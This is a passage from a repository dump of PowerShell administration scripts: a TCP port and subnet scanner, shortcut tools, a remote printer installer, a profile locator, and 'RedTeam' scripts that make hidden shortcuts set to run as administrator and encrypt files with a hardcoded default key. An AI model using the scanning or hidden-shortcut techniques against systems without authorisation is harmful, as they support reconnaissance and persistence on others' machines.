11 | 12 | .NOTES 13 | Author: Beery, Christopher 14 | Created: 19 Nov 2021 15 | Last Modified: 22 Nov 2021 16 | 17 | .EXAMPLE 18 | Scan single port on single IP: 19 | Scan-TCPPorts 10.10.10.123 137 20 | 21 | Scan multiple ports on a single IP: 22 | Scan-TCPPorts 10.10.10.123 (135,137,445) 23 | 24 | Scan a port list and ip list from files 25 | Scan-TCPPorts (cat ./ip_list.txt) (cat ./port_list.txt) 26 | 27 | Cheats to scan subnets: 28 | 29 | Scan class C subnet: 30 | 0..255 | Foreach { Scan-TCPPorts 10.10.10.$_ (135,137,139,445) } 31 | 32 | Scan entire class B subnet: 33 | $subnet = (0..255) | % { 0..255 | Foreach { Scan-TCPPorts 10.10.$subnet.$_ (80,443) }} 34 | (Better to scan for live hosts first then scan for ports separately!) 35 | #> 36 | 37 | Function Scan-TCPPorts 38 | { 39 | #The function takes in two mandatory arguments $hosts and $ports, and one optional $out_file 40 | param([array]$hosts,[array]$ports,[string]$out_file = ".\scanresults.csv") 41 | 42 | #If no ports are specified 43 | if (!$ports) 44 | { 45 | Write-Host "Usage : Scan-TCPPorts -outfile " -ForegroundColor Yellow 46 | Write-Host "Example: Scan-TCPPorts 192.168.1.2,192.168.1.3 80,445" -ForegroundColor Green 47 | Write-Host 48 | return 49 | } 50 | 51 | #Not working now that csv is formatted properly 52 | #Write-Host "Checking the output file for previous results. Skipping previously scanned host/port combinations" 53 | Write-Host 54 | Write-Host "Beginning scan at $(Get-Date)" -ForegroundColor Magenta 55 | Write-Host 56 | 57 | foreach($port in $ports) 58 | { 59 | foreach($ip in $hosts) 60 | { 61 | #Check for existance of results in output file. Not working now that csv is formatted properly. 62 | <# 63 | $x = (Get-Content $out_file -EA SilentlyContinue | Select-String '"$ip","TCP","$port"') 64 | if ($x) { 65 | Get-Content $out_file | Select-String '"$ip","TCP","$port"' 66 | continue 67 | } 68 | #> 69 | 70 | #A custom object had to be created in order to get Export-CSV to work properly 71 | $msg = New-Object PsObject 72 | $msg | Add-Member -MemberType NoteProperty -Name "IP" -Value $ip 73 | $msg | Add-Member -MemberType NoteProperty -Name "Protocol" -Value "TCP" 74 | $msg | Add-Member -MemberType NoteProperty -Name "Port" -Value $port 75 | 76 | $tcpClient = new-Object system.Net.Sockets.TcpClient 77 | $connection = $tcpClient.ConnectAsync($ip,$port) 78 | 79 | for($i=0; $i -lt 10; $i++) 80 | { 81 | if ($connection.isCompleted) { break; } 82 | sleep -milliseconds 100 83 | } 84 | 85 | $result = "Filtered" 86 | 87 | if ($connection.isFaulted -and $connection.Exception -match "actively refused") 88 | { 89 | $result = "Closed" 90 | Write-Host $ip "$port (Closed)" -ForegroundColor Red -Separator " ==> " 91 | } 92 | elseif ($connection.Status -eq "RanToCompletion") 93 | { 94 | $result = "Open" 95 | Write-Host $ip "$port (Open)" -ForegroundColor Green -Separator " ==> " 96 | } 97 | else 98 | { 99 | Write-Host $ip "$port (Filtered)" -ForegroundColor Yellow -Separator " ==> " 100 | } 101 | 102 | $tcpClient.Close(); 103 | $msg | Add-Member -MemberType NoteProperty -Name "Result" -Value $result 104 | 105 | #Append $out_file with four columns: IP,Protocol,Port,Result 106 | $msg | Select -Property IP,Protocol,Port,Result | Export-Csv -Append -Path $out_file -NoTypeInformation -Force 107 | 108 | } 109 | } 110 | Write-Host 111 | Write-Host "Scan finished at $(Get-Date)" -ForegroundColor Magenta 112 | } 113 | -------------------------------------------------------------------------------- /Get-ShortcutProperties.ps1: -------------------------------------------------------------------------------- 1 | function Get-ShortcutProperties 2 | { 3 | <# 4 | .SYNOPSIS 5 | Get information about a Shortcut (.lnk file) 6 | .DESCRIPTION 7 | Get information about a Shortcut (.lnk file) 8 | .PARAMETER Path 9 | Path to the .lnk file to be analyzed 10 | .EXAMPLE 11 | Get-Shortcut -Path 'C:\C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\note.lnk' 12 | .OUTPUTS 13 | TargetPath : C:\Windows\notepad.exe 14 | Target : notepad.exe 15 | Arguments : Startup.txt 16 | LinkName : note.lnk 17 | LinkPath : C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 18 | WindowStyle : Minimized (7) 19 | IconLocation : C:\windows\notepad.exe,0 20 | Description : Create a new textfile on startup 21 | Attributes : -a-h- 22 | Hotkey : 23 | RunAsAdmin : False 24 | .NOTES 25 | Author: Beery, Christopher (https://github.com/zweilosec) 26 | Created: 15 Jul 2022 27 | Last Modified: 15 Jul 2022 28 | #> 29 | 30 | [CmdletBinding()] 31 | param 32 | ( 33 | [string] 34 | $Path 35 | ) 36 | 37 | begin 38 | { 39 | $obj = New-Object -ComObject WScript.Shell 40 | 41 | function ConvertDecimaltoBinary 42 | { 43 | param($in) 44 | 45 | [string]$a += [convert]::ToString([int32]$in,2) 46 | return $a 47 | } 48 | } 49 | 50 | process 51 | { 52 | if (Test-Path -Path $Path) 53 | { 54 | $ResolveFile = Resolve-Path -Path $Path 55 | if ($ResolveFile.count -gt 1) 56 | { 57 | Write-Error -Message "ERROR: [$Path] resolves to more than 1 file." 58 | } 59 | else 60 | { 61 | Write-Verbose -Message "Getting details for $Path." 62 | 63 | $ResolveFile = Get-Item -Path $ResolveFile -Force 64 | if ($ResolveFile.Extension -eq '.lnk') 65 | { 66 | $link = $obj.CreateShortcut($ResolveFile.FullName) 67 | 68 | Write-Verbose -Message "Testing if the shortcut runs as admin" 69 | $AdminTest = [System.IO.File]::ReadAllBytes($Path)[0x15] 70 | $binAdminTest = ConvertDecimaltoBinary -in $AdminTest 71 | if ($binAdminTest.substring(1,1) -eq '1') 72 | { 73 | $AsAdmin = $True 74 | } 75 | else 76 | { 77 | $AsAdmin = $False 78 | } 79 | Write-Verbose "AsAdmin is $AsAdmin" 80 | Write-Verbose "AdminTest is $binAdminTest" 81 | 82 | $info = [PSCustomObject]@{ 83 | 84 | TargetPath = $link.TargetPath 85 | Target = $(try {Split-Path -Path $link.TargetPath -Leaf } catch { '' }) 86 | Arguments = $link.Arguments 87 | LinkName = $(try { Split-Path -Path $link.FullName -Leaf } catch { '' }) 88 | LinkPath = $(try { Split-Path -Path $link.FullName } catch { '' }) 89 | WindowStyle = $(Switch ($link.WindowStyle) 90 | { 91 | 7 {"Minimized (7)"} 92 | 3 {"Maximized (3)"} 93 | 1 {"Default (1)"} 94 | }) 95 | IconLocation = $link.IconLocation 96 | Description = $link.Description 97 | Attributes = $((Get-ItemProperty $Path).Mode) 98 | Hotkey = $link.Hotkey 99 | RunAsAdmin = $AsAdmin 100 | } 101 | 102 | Write-Output $info 103 | } 104 | else 105 | { 106 | Write-Error -Message 'File xtension is not .lnk' 107 | } 108 | } 109 | } 110 | else 111 | { 112 | Write-Error -Message "ERROR: File [$Path] does not exist" 113 | } 114 | } 115 | } 116 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: >- 3 | A collection of Windows PowerShell tools for making system administration and 4 | troubleshooting easier. 5 | --- 6 | 7 | # PowerShell Administration Tools 8 | 9 | PowerShell scripts for automating common system administration/ digital forensics tasks. Suggestions, submissions, updates, and requests are always welcome! 10 | 11 | | Script Name | Description | 12 | | :--- | :--- | 13 | | [Clear-ExcessCertificates](https://github.com/zweilosec/PowerShell-Administration-Tools/blob/master/Clear-ExcessCertificates.ps1) | Clears all PIV certificates from the local store except for the current user's | 14 | | [Create-ADUserFromCsv](https://github.com/zweilosec/PowerShell-Administration-Tools/blob/master/Create-ADUserFromCsv.ps1) | Batch creates users in Active Directory from a .csv file. | 15 | | [Get-Computer\_Inventory](https://github.com/zweilosec/PowerShell-Administration-Tools/blob/master/Get-ComputerInventoryToCSV.ps1) | Searches a network for the computers specified \(by computer name\) and reports a list of inventory-related information for those computers. IP, MAC, Make, Model, Serial, and Last User. ~~Requires WinRM to be running on the system~~ Use the `-DCOM` argument to run without WinRM! Does not require admin rights. | 16 | | [Get-Monitor\_Inventory](https://github.com/zweilosec/PowerShell-Administration-Tools/blob/master/Get-Monitor_Inventory.ps1) | Searches a domain for the computers specified \(by computer name\) and reports a list of inventory-related information for the attached Monitors. Make, Model, Serial | 17 | | [Locate-UserProfile](https://github.com/zweilosec/PowerShell-Administration-Tools/blob/master/Locate-UserProfile.ps1) | Searches a domain for the user ID specified. Returns a list of all of the computers that user has signed into, their $home folder, and the last time they logged in. Saves output in a CSV file. | 18 | | [Add-RemotePrinter](https://github.com/zweilosec/PowerShell-Administration-Tools/blob/master/Add-RemotePrinter.ps1) | Adds a printer to the computer specified \(by computer name\). Requires some information such as printer IP, Driver long name, and the name you want the printer to be displayed as. | 19 | | [Get-SoftwareInventory](https://github.com/zweilosec/PowerShell-Administration-Tools/blob/master/Get-SoftwareInventory.ps1) | Outputs a list of software installed on the target computer from the registry. Lists ComputerName, Software DisplayName, Version, and Publisher. | 20 | | [New-Shortcut](https://github.com/zweilosec/PowerShell-Administration-Tools/blob/master/New-Shortcut.ps1) | Creates a new shortcut (.lnk) file with the specified properties. | 21 | | [Get-ShortcutProperties](https://github.com/zweilosec/PowerShell-Administration-Tools/blob/master/Get-ShortcutProperties.ps1) | Get the properties of the specified shortcut (.lnk) file | 22 | | [Create-IsoWithLnk](https://github.com/zweilosec/PowerShell-Administration-Tools/blob/master/Create-IsoWithLnk.ps1) | A fun attempt at creating an offensive tool. This one creates a .lnk file, and autostart.inf file that links to the .lnk, and an ISO that contains them both. In a vulnerable system this might be able to autorun something (non-malicious of course!) All of this wrapped up in a nice little GUI form! | 23 | 24 | ## Network Tools 25 | | Script Name | Description | 26 | | :--- | :--- | 27 | | [Get-OpenPortsWithProcess](https://github.com/zweilosec/PowerShell-Administration-Tools/blob/master/Network/Get-OpenPortsWithProcess.ps1) | A simple script for listing open TCP or UDP ports.
Has three options:
* `-TCP` : show TCP ports
* `-UDP` : show UDP ports
* `-Listening` : Show only listening ports | 28 | | [Renew-DHCP](https://github.com/zweilosec/PowerShell-Administration-Tools/blob/master/Network/Renew-DHCP.ps1) | Releases DHCP reservations for all active interfaces and renews them. Fully PowerShell equivilent to running `ipconfig /release; ipconfig /renew`. | 29 | |[Scan-TCPPorts](https://github.com/zweilosec/PowerShell-Administration-Tools/blob/master/Network/Scan-TCPPorts.ps1) | A simple TCP port scanner. Takes in a comma separated list of IPs, and of ports. An output file (csv or txt) can be specified as well. | 30 | 31 | ## Snippets 32 | Drop these snippets into your scripts to add this functionality. May need to modify variables to fit your use cases. 33 | 34 | | Script Name | Description | 35 | | :--- | :--- | 36 | | [Run-ADPreChecks](https://github.com/zweilosec/PowerShell-Administration-Tools/blob/master/Snippets/Run-ADPreChecks.ps1) |Code snippet to do some preliminary checks to ensure a script will function
Checks for: administrator privileges, PowerShell v5 or greater, and the ActiveDirectory PowerShell modules | 37 | | [Select-FileWithDialog](https://github.com/zweilosec/PowerShell-Administration-Tools/blob/master/Snippets/Select-FileWithDialog.ps1) | Code snippet to display an Explorer window to select a file (.csv and .txt in this example) | 38 | 39 | #### More content from Zweilosec: 40 | 41 | ## [OSCP prep and CTF notes](https://zweilosec.gitbook.io/hackers-rest/) 42 | 43 | 44 | If you like this content and would like to see more, please consider [buying me a coffee](https://www.buymeacoffee.com/zweilosec)! 45 | -------------------------------------------------------------------------------- /Add-RemotePrinter.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | A simple script for adding a printer to a remote computer. 4 | .Description 5 | A PowerShell script for adding a printer to a remote computer by IP or Computername. 6 | Will prompt for credentials for each computer that is remoted into. 7 | .Inputs 8 | Mandatory Arguments: 9 | -ComputerName : A list or single ComputerName(s) or IP(s). Can be piped into this script. 10 | -Domain : Domain name of the user account being used 11 | -UserName : Username for account being used to remote into the computer 12 | -PrinterHostAddress : IP of the printer to add 13 | -PrinterName : Windows display name for the printer 14 | -DriverName : Full name of the driver to install for the printer 15 | 16 | Optional Arguments: 17 | -PortName : Name of the printer port that will be added. If a printer port name is not specified, will use the printer IP [default]. 18 | -Verbose : See verbose output. 19 | .Example 20 | Add-RemotePrinter -ComputerName 10.10.10.123 -Domain zweilos.local -UserName zweilosec -IP 10.10.10.244 -PrinterName "Office Printer" -Driver "HP Universal Printing PCL 6" 21 | Remote into the computer at 10.10.10.123 as zweilos.local/zweilosec and install the printer named "Office Printer". 22 | .Example 23 | Add-RemotePrinter -ComputerName (cat ./ComputerList.txt) -Domain zweilos.local -UserName zweilosec -IP 10.10.10.244 -PrinterName "Office Printer" -Driver "HP Universal Printing PCL 6" 24 | Add the printer "Office Printer" to all the computers specified in ComputerList.txt (one computername/IP per line!) 25 | .Example 26 | Get-ADComputer -Filter * -SearchBase "OU=TestOU,DC=zweilos,DC=local" | Select -Property Name | Add-RemotePrinter -Domain zweilos.local -UserName zweilosec -IP 10.10.10.244 -PrinterName "Office Printer" -Driver "HP Universal Printing PCL 6" 27 | Add the printer "Office Printer" to all the computers in the specified OU (can take any list of piped-in ComputerName) 28 | .Notes 29 | Author: Beery, Christopher (https://github.com/zweilosec) 30 | Created: 6 Mar 2020 31 | Last Modified: 21 Jan 2022 32 | Useful links: 33 | https://info.sapien.com/index.php/scripting/scripting-how-tos/take-values-from-the-pipeline-in-powershell 34 | https://jeffbrown.tech/how-to-write-awesome-functions-with-powershell-parameter-sets/ 35 | #> 36 | 37 | #region Parameters 38 | [CmdletBinding()] 39 | Param( 40 | #ValueFromPipeline allows this parameter to take input piped into this command 41 | [Parameter(Mandatory, 42 | ValueFromPipeline, 43 | HelpMessage="Enter one or more computer names separated by commas.", 44 | ParameterSetName="ComputerName")] 45 | [Alias('Name')] #Allow for piping in from Get-ADComputer 46 | [string[]] 47 | $ComputerName, 48 | 49 | [Parameter(Mandatory, 50 | HelpMessage="Enter a username to log into the remote computer.", 51 | ParameterSetName="User")] 52 | [string] 53 | $UserName, 54 | 55 | [Parameter(Mandatory, 56 | HelpMessage="Enter a domain to log into the remote computer.", 57 | ParameterSetName="User")] 58 | [Alias('Domain')] 59 | [string] 60 | $DomainName, 61 | 62 | [Parameter(Mandatory, 63 | HelpMessage="Enter the IP of the printer to add.", 64 | ParameterSetName="Printer")] 65 | [Alias('IP')] 66 | [string] 67 | $PrinterHostAddress, 68 | 69 | [Parameter(Mandatory, 70 | HelpMessage="Enter the full name of the printer driver.", 71 | ParameterSetName="Printer")] 72 | [Alias('Driver')] 73 | [string] 74 | $DriverName, 75 | 76 | [Parameter(Mandatory, 77 | HelpMessage="Enter the name you wish to be displayed for the printer.", 78 | ParameterSetName="Printer")] 79 | [Alias('PrinterName')] 80 | [string] 81 | $WindowsDisplayName, 82 | 83 | [Parameter(Optional, 84 | ParameterSetName="Printer")] 85 | [string] 86 | $PortName 87 | ) 88 | #endregion Parameters 89 | 90 | Begin 91 | { 92 | #If a portname is not specified will use the printer's IP instead. 93 | if (-not ($PortName)) 94 | { 95 | Write-Verbose "Port name not specified. Using $PrinterIP instead." 96 | $PortName = $PrinterIP 97 | } 98 | #Initialize internal variables 99 | $ComputerCount = 0 100 | } 101 | 102 | Process 103 | { 104 | Foreach ( $computer in $ComputerName ) 105 | { 106 | Write-Verbose "Creating a remote session with $computer" 107 | $session = New-PSSession -ComputerName $computer -Credential $DomainName\$UserName #will prompt for credentials for each computer 108 | 109 | Write-Verbose "Adding printer $WindowsDisplayName to $computer." 110 | Invoke-Command -Session $session {Add-PrinterPort -Name $PortName -PrinterHostAddress $PrinterHostAddress} 111 | Invoke-Command -Session $session {Add-PrinterDriver -Name "$DriverName"} 112 | Invoke-Command -Session $session {Add-Printer -Name "$WindowsDisplayName" -PortName $PortName -DriverName "$DriverName"} 113 | Invoke-Command -Session $session {Write-Output "Printer Added Successfully."} 114 | 115 | Print-Verbose "Closing remote session." 116 | Remove-PSSession -ComputerName $computer 117 | 118 | #Increment number of computers by 1 119 | $ComputerCount ++ 120 | } 121 | } 122 | 123 | End 124 | { 125 | Write-Verbose "Printer $WindowsDisplayName added to $ComputerCount computers." 126 | } 127 | -------------------------------------------------------------------------------- /RedTeam/New-Shortcut.ps1: -------------------------------------------------------------------------------- 1 | function New-Shortcut 2 | { 3 | <# 4 | .Synopsis 5 | Creates a Windows shortcut file (.lnk). 6 | .DESCRIPTION 7 | PowerShell script for creating Windows shortcut files (.lnk). 8 | .EXAMPLE 9 | New-Shortcut -TargetPath C:\Windows\notepad.exe -OutputLink $env:userprofile\Desktop\notepad.lnk 10 | .INPUTS 11 | -TargetPath 12 | The target to create the link to. Enter the full path (Ex: C:Windows\system32\notepad.exe) 13 | -OutputLnk 14 | Enter path and name of the link file to create. (Ex: C:Windows\system32\notepad.lnk) 15 | -Arguments 16 | Any arguments to the file to be executed. If TargetPath=PowerShell.exe (Ex: "-NoProfile -NonInteractive -File C:\Scripts\script.ps1") 17 | -WorkingDirectory 18 | Set Working Directory the target is to be run from. 19 | -IconLocation 20 | Location of the icon to be used for the shortcut. Typically .ico, .exe, or .dll files contain icons (Ex: 'C:\windows\System32\SHELL32.dll,70') 21 | -WindowStyle 22 | Determines whether the window will be minimized, maximized, or use the default from the registry 23 | 7 = Minimized window 24 | 3 = Maximized window 25 | 1 = Default window 26 | -Description 27 | Description of the target the shorcut should display 28 | -Hotkey 29 | A hotkey that can be pressed to launch this shortcut 30 | -Hidden 31 | An optional parameter that sets the shortcut file to be hidden, reducing unnecessary clicks 32 | -AsAdmin 33 | Sets the shortcut to run the target application as an Administrator (may require elevation) 34 | .OUTPUTS 35 | This script creates a .lnk file in the specified location 36 | .NOTES 37 | Author: Beery, Christopher (https://github.com/zweilosec) 38 | Created: 14 Jul 2022 39 | Last Modified: 15 Jul 2022 40 | Useful Study Links: 41 | * http://powershellblogger.com/2016/01/create-shortcuts-lnk-or-url-files-with-powershell/ 42 | * https://docs.microsoft.com/en-us/powershell/scripting/samples/creating-.net-and-com-objects--new-object-?view=powershell-7.2 43 | * IconLocation = https://hull1.com/scriptit/2020/08/15/customize-shortcut-icon.html 44 | * https://v3ded.github.io/redteam/abusing-lnk-features-for-initial-access-and-persistence 45 | * https://docs.microsoft.com/en-us/windows/win32/shell/appids 46 | #> 47 | param ( 48 | [Parameter(Mandatory=$true)] 49 | [ValidateNotNull()] 50 | [ValidateNotNullOrEmpty()] 51 | [String] 52 | $TargetPath, 53 | 54 | [Parameter(Mandatory=$true)] 55 | [ValidateNotNull()] 56 | [ValidateNotNullOrEmpty()] 57 | [String] 58 | $OutputLink, 59 | 60 | [Parameter(Mandatory=$false)] 61 | [String] 62 | $Arguments = "", 63 | 64 | [Parameter(Mandatory=$false)] 65 | [String] 66 | $WorkingDirectory = "", 67 | 68 | [Parameter(Mandatory=$false)] 69 | [String] 70 | $IconLocation = "$TargetPath,0", #"C:\windows\System32\SHELL32.dll,70", default to targets icon, shell32(70) is text file icon 71 | 72 | [Parameter(Mandatory=$false)] 73 | [Int] 74 | $WindowStyle = 7, 75 | #7 = Minimized window 76 | #3 = Maximized window 77 | #1 = Normal window 78 | 79 | [Parameter(Mandatory=$false)] 80 | [String] 81 | $Description = "Shortcut to $TargetPath", 82 | 83 | [Parameter(Mandatory=$false)] 84 | [String] 85 | $HotKey = "", #The syntax is: "{KeyModifier}+{KeyName}" ( e.g. "Ctrl+Alt+Q", "Shift+F2", etc. ) 86 | 87 | [Parameter(Mandatory=$false)] 88 | [Switch] 89 | $Hidden = $False, 90 | 91 | [Parameter(Mandatory=$false)] 92 | [Switch] 93 | $AsAdmin = $False 94 | ) 95 | 96 | $WshShell = New-Object -comObject WScript.Shell 97 | $Shortcut = $WshShell.CreateShortcut($OutputLink) 98 | 99 | $Shortcut.TargetPath = $TargetPath 100 | $Shortcut.Arguments = $Arguments 101 | $Shortcut.WorkingDirectory = $WorkingDirectory 102 | $ShortCut.IconLocation = $IconLocation 103 | $shortcut.WindowStyle = $WindowStyle 104 | $ShortCut.Description = $Description 105 | $ShortCut.Hotkey = $Hotkey 106 | 107 | if ($(Test-Path $OutputLink)) #If the .lnk already exists 108 | { 109 | Write-Output "The target link already exists." 110 | $DeleteLink = Read-Host "Delete the existing link? [y/n]: " 111 | if ($DeleteLink.ToLower() -eq 'y') 112 | { 113 | Remove-Item $OutputLink 114 | } 115 | } 116 | 117 | $Shortcut.Save() 118 | 119 | # Optional if you want to make the link hidden (to prevent user clicks) 120 | if ($Hidden) 121 | { 122 | If ((Get-ItemProperty $OutputLink) -and [System.IO.FileAttributes]::Hidden) 123 | { 124 | #Write-Output "The file is hidden already" 125 | break 126 | } 127 | (Get-Item $OutputLink).Attributes += 'Hidden' 128 | } 129 | 130 | # Below is the code to set shortcut to "Run As Administrator" (optional) 131 | If ($AsAdmin) 132 | { 133 | $bytes = [System.IO.File]::ReadAllBytes($OutputLink) 134 | $bytes[0x15] = $bytes[0x15] -bor 0x20 #set byte 21 (0x15) bit 6 (0x20) to on 135 | [System.IO.File]::WriteAllBytes($OutputLink, $bytes) 136 | } 137 | } 138 | -------------------------------------------------------------------------------- /RedTeam/Encrypt-TextFile.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | This script provides encryption and decryption of text files using a key. 4 | .DESCRIPTION 5 | PowerShell script for encrypting text files. There are two functions contained in this script: 6 | Encrypt-File - Can only handle text files of approximately ~65kb due to a limitation with SecureString 7 | 8 | Encrypt-LongFile - Can handle files of any length, but the output is much, much longer. 9 | Requires a map of the length of each encrypted chunk in order to decrypt the data, which is saved to CSV. 10 | .EXAMPLE 11 | Encrypt-LongFile -Path C:\temp\passwords.txt -UTF8 12 | .INPUTS 13 | -Path 14 | The target file to encrypt 15 | -UTF8 16 | An optional parameter that is needed only for UTF8-encoded files 17 | .OUTPUTS 18 | This script returns text in an encrypted form. 19 | The Encrypt-LongFile function below also outputs the contents of the encryption to a file and a map of the chunk lengths. 20 | The line '$encrypted | Out-File "Encrypted-File"' can be safely commented out if the file output is not needed. 21 | .NOTES 22 | Author: Beery, Christopher (https://github.com/zweilosec) 23 | Created: 24 Dec 2022 24 | Last Modified: 27 Dec 2022 25 | Useful Study Links: 26 | * https://medium.com/@sumindaniro/encrypt-decrypt-data-with-powershell-4a1316a0834b 27 | * https://medium.com/@nikhilsda/encryption-and-decryption-in-powershell-e7a678c5cd7d 28 | * https://shellgeek.com/split-string-into-fix-length-in-powershell/ 29 | #> 30 | 31 | function Encrypt-File 32 | { 33 | <# 34 | Description: This script provides encryption of small text files using a key. 35 | The -UTF8 flag can be used if the input file is UTF-8 encoded. 36 | #> 37 | param( 38 | [Parameter(Mandatory=$true)] 39 | [String]$Path, 40 | [String]$key = "usemetodecryptit", 41 | [Switch]$UTF8 42 | ) 43 | 44 | $key = (New-Object System.Text.ASCIIEncoding).GetBytes($key) 45 | $securestring = new-object System.Security.SecureString 46 | 47 | #Use the -UTF8 flag if your input file is UTF-8 encoded! 48 | #There is no simple way to check this in PowerShell unfortunately. Use Notepad if possible. 49 | 50 | if ($UTF8) 51 | { 52 | $dataString = Get-Content -Encoding UTF8 -Path $Path -Raw 53 | } 54 | else 55 | { 56 | $dataString = Get-Content -Encoding Unicode -Path $Path -Raw 57 | } 58 | 59 | foreach ($char in $dataString.toCharArray()) { 60 | $secureString.AppendChar($char) 61 | } 62 | 63 | $encrypted = ConvertFrom-SecureString -SecureString $secureString -Key $key 64 | 65 | return $encrypted 66 | } 67 | 68 | function Encrypt-LongFile 69 | { 70 | <# 71 | Description: This script provides encryption of large text files using a key. 72 | The -UTF8 flag can be used if the input file is UTF-8 encoded. 73 | #> 74 | param( 75 | [Parameter(Mandatory=$true)] 76 | [String]$Path, 77 | [String]$key = "usemetodecryptit", 78 | [Switch]$UTF8 79 | ) 80 | 81 | # Key to be used to encrypt data. Must be either 128 bits (16 chars), 192 bits (24 chars), or 256 bits (32 chars) long. 82 | $key = (New-Object System.Text.ASCIIEncoding).GetBytes($key) 83 | 84 | # Use the -UTF8 flag if your input file is UTF-8 encoded! 85 | # There is no simple way to check this in PowerShell unfortunately. Use Notepad if possible. 86 | # The -Raw flag is necessary to preserve line endings in text files 87 | if ($UTF8) 88 | { 89 | $dataString = Get-Content -Encoding UTF8 -Path $Path -Raw 90 | } 91 | else 92 | { 93 | $dataString = Get-Content -Encoding Unicode -Path $Path -Raw 94 | } 95 | 96 | #Split the data string into chunks no longer than 30 characters 97 | # larger sizes seem to break it, feel free to play with it 98 | $chunks = $dataString -split "(.{30})" | ?{$_} 99 | 100 | # Initialize the encrypted variable 101 | $encrypted = "" 102 | $len_map = New-Object System.Collections.Generic.List[System.Object] 103 | 104 | # Loop through each chunk 105 | foreach ($chunk in $chunks) 106 | { 107 | # Convert the chunk to a SecureString object 108 | $secureString = new-object System.Security.SecureString 109 | foreach ($char in $chunk.toCharArray()) 110 | { 111 | $secureString.AppendChar($char) 112 | } 113 | 114 | # Encrypt the SecureString object 115 | $encryptedChunk = ConvertFrom-SecureString -SecureString $secureString -Key $key 116 | 117 | # Need to save these lengths as a map because each encrypted chunk has a different length 118 | $len_map.Add($encryptedChunk.Length) 119 | 120 | # Append the encrypted chunk to the encrypted variable 121 | # Each chunk is output with a prepended header of some sort 122 | # The output could be smaller if this were removed, then re-added during decryption (TODO:) 123 | $encrypted += $encryptedChunk 124 | } 125 | 126 | #Convert the array of chunk lengths to a format that can be written to a csv file 127 | ConvertFrom-Csv $len_map -Header Number | Export-Csv -Path "HashMap.csv" -NoTypeInformation 128 | 129 | #Write the encrypted data to a file 130 | $encrypted | Out-File "Encrypted-File" 131 | 132 | #return the encrypted data to be used externally 133 | return $encrypted 134 | } 135 | -------------------------------------------------------------------------------- /Locate-UserProfile.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | Locates computers where a user has signed in. 4 | .DESCRIPTION 5 | Script for gathering the machines that a user has signed into from a list of computers. 6 | Displays the Computer Name, User Home Folder, and Last Logged-in Time for each computer. 7 | Write output to a CSV log file. 8 | Requires the WinRM service to be running on each remote computer, however works locally without. 9 | To scan a remote machine without WinRM, use the -DCOM flag. 10 | Does not require admin rights. 11 | .EXAMPLE 12 | Locate-UserProfile.ps1 -ComputerName Example-Comp1 -UserName Zweilosec -Verbose 13 | .EXAMPLE 14 | Locate-UserProfile.ps1 -UserName Zweilosec .\Computers.txt 15 | .EXAMPLE 16 | Get-ADComputer -Filter * -SearchBase "OU=TestOU,DC=TestDomain,DC=com" | Select -Property Name | Locate-UserProfile.ps1 -UserName Zweilosec 17 | .INPUTS 18 | -UserName 19 | Enter the username(s) you want to search for. These must be the actual account name not the display name. 20 | 21 | -ComputerName 22 | Input a list of computer names, either piped in as an object or a text file file with one computer name per line. 23 | 24 | -DCOM 25 | Instructs the script to use DCOM instead of WinRM. Does nothing if scanning the localhost. 26 | .OUTPUTS 27 | This script exports a report in table format, and as a CSV file with headers. 28 | Example output is below: 29 | 30 | Searching for user profile zweiline... 31 | 32 | User profile zweiline was found on 4 computers. 33 | 34 | User ComputerName UserHome LastUseTime 35 | ---- ------------ -------- ----------- 36 | zweiline Zweildesk-1 C:\Users\zweiline 1/22/2022 20:34:09 37 | zweiline Zweildesk-2 C:\Users\zweiline 1/22/2022 20:34:09 38 | zweiline Zweildesk-3 C:\zweiline 1/22/2022 14:08:28 39 | zweiline Zweildesk-4 C:\zweiline 1/22/2022 14:08:28 40 | 41 | .NOTES 42 | Author: Beery, Christopher (https://github.com/zweilosec) 43 | Created: 6 Mar 2020 44 | Last Modified: 22 Jan 2022 45 | Useful Links: 46 | * http://woshub.com/convert-sid-to-username-and-vice-versa 47 | * https://www.nextofwindows.com/how-to-get-the-list-of-user-profiles-on-your-computer 48 | #> 49 | 50 | [CmdletBinding()] 51 | Param 52 | ( 53 | # The User Names to conduct a hunt for 54 | [Parameter(Mandatory=$true, 55 | ValueFromPipeline=$true, 56 | ValueFromPipelineByPropertyName=$true)] 57 | [ValidateNotNull()] 58 | [ValidateNotNullOrEmpty()] 59 | [Alias("User","SAMAccountName")] 60 | [String[]] 61 | $UserName, 62 | 63 | # The list of computers to search 64 | [Parameter(Mandatory=$true, 65 | ValueFromPipeline=$true, 66 | ValueFromPipelineByPropertyName=$true)] 67 | [Alias("Name")] #Needed to allow computers to be piped in as an attribute from Get-ADComputer 68 | [String[]] 69 | $ComputerName, 70 | 71 | [Alias('NoWinRM')] 72 | [Switch] 73 | $DCOM = $false 74 | ) 75 | 76 | Process 77 | { 78 | #The CSV file to be used as a log is defined here 79 | $TimeStamp = (Get-Date).ToString('yyyy-MM-dd_HHmm') 80 | $CsvFile = "./ProfileSearch_$($TimeStamp).csv" 81 | Write-Host "" 82 | 83 | Foreach ( $User in $UserName ) 84 | { 85 | Write-Host "Searching for user profile $User..." 86 | #Count the number of computers the user has logged into, reset to 0 for each user 87 | $ComputerCount = 0 88 | 89 | #These are the commands that will be run on each computer 90 | Foreach ( $Computer in $ComputerName ) 91 | { 92 | #Parameter list that will be fed to Get-CimInstance 93 | $CimParameters = @{} 94 | #Hack to get around setting $Computer to $null if scanning localhost 95 | $RemoteComputer = $Computer 96 | 97 | #First, check if we are scanning the local machine 98 | #Setting the -ComputerName property of Get-CIMInstance to $null will allow you 99 | # to scan a local machine without WinRM enabled 100 | if ( $Computer -eq $($env:COMPUTERNAME) ) 101 | { 102 | $RemoteComputer = $null 103 | } 104 | 105 | #If the user wants to use DCOM instead of WinRM, enable this 106 | #Do not use this branch if scanning local computer because will cause errors and not needed 107 | if ( $DCOM -and $RemoteComputer ) 108 | { 109 | $SessionOption = New-CimSessionOption -Protocol Dcom 110 | #Create the remote CIM session and add to CimParameters 111 | $RemoteSession = New-CimSession -ComputerName $RemoteComputer -SessionOption $SessionOption 112 | $CimParameters = @{CimSession = $RemoteSession} 113 | } 114 | else 115 | { 116 | $CimParameters = @{ComputerName = $RemoteComputer} 117 | } 118 | 119 